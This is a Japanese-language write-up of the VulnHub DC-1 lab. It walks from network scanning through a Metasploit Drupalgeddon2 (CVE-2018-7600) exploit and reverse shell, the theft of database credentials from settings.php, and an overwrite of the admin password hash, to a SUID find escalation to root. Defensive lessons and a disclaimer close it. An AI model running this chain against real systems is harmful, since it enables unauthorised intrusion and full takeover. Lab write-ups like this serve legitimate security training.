
VulnHub DC-1 boot-to-root — CVE-2018-7600(Drupalgeddon2)を悪用してRCEを実現し、settings.phpからDB認証情報を抽出して管理者パスワードハッシュを偽造し、SUID findを介してrootへ権限昇格する。
"ペネトレーションテストラボのWriteup — 偵察からroot権限取得までの攻撃チェーン全体を記録。"
難易度: 初級~中級
プラットフォーム: VulnHub
目標: 4つのフラグをすべて取得し、完全なroot権限を獲得する
攻撃機OS: Kali Linux(VirtualBox — NATネットワーク)
ターゲットOS: Debian Linux(Drupal 7 CMS)
| コンポーネント | 詳細 |
|---|---|
| ハイパーバイザー | VirtualBox |
| ネットワークモード | NATネットワーク(両VMが同じサブネット上) |
| 攻撃機 | Kali Linux |
| ターゲット機 | DC-1(VulnHub) |
| ターゲットIP | 10.0.2.3(arp-scanで発見) |
両方の仮想マシンは、VirtualBoxの同じNATネットワーク上に構成し、隔離されたラボ環境を維持しながらVM間通信を可能にしました。
arp-scanを使用して、ローカルサブネット上のすべてのアクティブホストを特定しました。
sudo arp-scan -l
結果: ターゲットは 10.0.2.3 として特定
バージョン検出とデフォルトスクリプトを使用して、フルNmapスキャンを実行しました。
sudo nmap -sV -sC 10.0.2.3
主な発見:
| ポート | サービス | バージョン |
|---|---|---|
| 22/tcp | SSH | OpenSSH 6.0p1 |
| 80/tcp | HTTP | Apache 2.2.22 |
| 111/tcp | rpcbind | — |
🔑 重要: NmapはHTTPのgeneratorヘッダーを介してWebアプリケーションをDrupal 7と明確に特定 — 既知の脆弱なCMSバージョンであることを確認。
Drupal 7は、Form APIの重大な**リモートコード実行(RCE)**脆弱性の影響を受けます。認証されていない攻撃者が特別に細工したHTTPリクエストを送信すると、バックエンドがそのリクエストをシステムコマンドとして実行します — 認証は一切不要です。
Metasploit Frameworkを起動:
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit
結果: Meterpreterのリバースシェルが www-data(Webサーバーのプロセスユーザー)として正常に開通。
MeterpreterからネイティブのLinuxシェルにドロップし、Python PTYを使用してシェルを安定化しました。
shell
python -c 'import pty; pty.spawn("/bin/bash")'
結果: /var/www 内で www-data@DC-1 として完全対話型のbashシェルを取得。
ls -la /var/www
cat flag1.txt
フラグ1の内容:
Every good CMS needs a config file - and so do you.
💡 ヒント: Drupalの設定ファイル —
settings.phpを直接指し示しています。
Drupalの設定ディレクトリに移動し、設定ファイルを調査しました。
cd /var/www/sites/default
cat settings.php
$databases 配列に埋め込まれていた資格情報を発見:
| フィールド | 値 |
|---|---|
| データベース | drupaldb |
| ユーザー名 | dbuser |
| パスワード | R0ck3t |
フラグ2の内容(ファイルコメントより):
Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?
💡 ヒント: この資格情報を使ってMySQLバックエンドにアクセス — 総当たり攻撃は一切不要です。
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;
admin と fred のハッシュ化パスワードを発見 — どちらもDrupalの $S$ ハッシュ方式(SHA-512ベース)を使用。
既存のハッシュをクラックする代わりに、Drupal標準のPHPスクリプトを使用して新しいハッシュを生成しました。
cd /var/www
php scripts/password-hash.sh password123
出力: password123 に対する有効な $S$D... ハッシュ
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';
http://10.0.2.3 に admin / password123 としてログイン成功。
フラグ3の内容(Drupal管理コンテンツパネル内で発見):
Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.
💡 ヒント:
findコマンドのSUIDバイナリの設定ミス — 権限昇格のベクトルを特定。
cat /etc/passwd
ホームディレクトリが /home/flag4 のユーザー flag4 を特定。
cat /home/flag4/flag4.txt
フラグ4の内容:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
find を利用したSUIDエクスプロイトfind バイナリに SUIDビット が設定されており、実行したユーザーに関係なくファイル所有者(root)の権限で実行されることを意味します。
find . -exec /bin/sh \;
whoami
# root
cd /root
cat thefinalflag.txt
Well done!!! Hope you enjoyed DC-1!
完全なroot権限を獲得。✅
攻撃者の視点から:
settings.php のような設定ファイルには平文の資格情報が含まれていることが多く、攻撃者がWebアクセスからデータベースの完全な制御へと権限を拡大できます。find、vim、python などの一般的なバイナリのSUID設定ミスは、Linux環境における最も信頼性の高い権限昇格ベクトルの1つです。防御側の視点から:
find / -perm -4000 -type f 2>/dev/null は、Linuxのハードニングチェックリストに必ず含めるべきです。このWriteupは純粋に教育目的であり、隔離された合法的なラボ環境で実施した活動を記録したものです。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して、これらの手法を試みないでください。
作成者: Prapul | TryHackMe プロフィール | GitHub
| ツール | 目的 |
|---|
arp-scan | ローカルサブネット上のホスト発見 |
nmap | ポートスキャン&サービスフィンガープリンティング |
Metasploit Framework | CVE-2018-7600エクスプロイトの配信&リバースシェル |
MySQL CLI | データベース列挙&資格情報の操作 |
PHP(password-hash.sh) | ネイティブDrupalハッシュの生成 |
Python PTY | シェルの安定化 |
VirtualBox | 隔離されたラボ環境のセットアップ |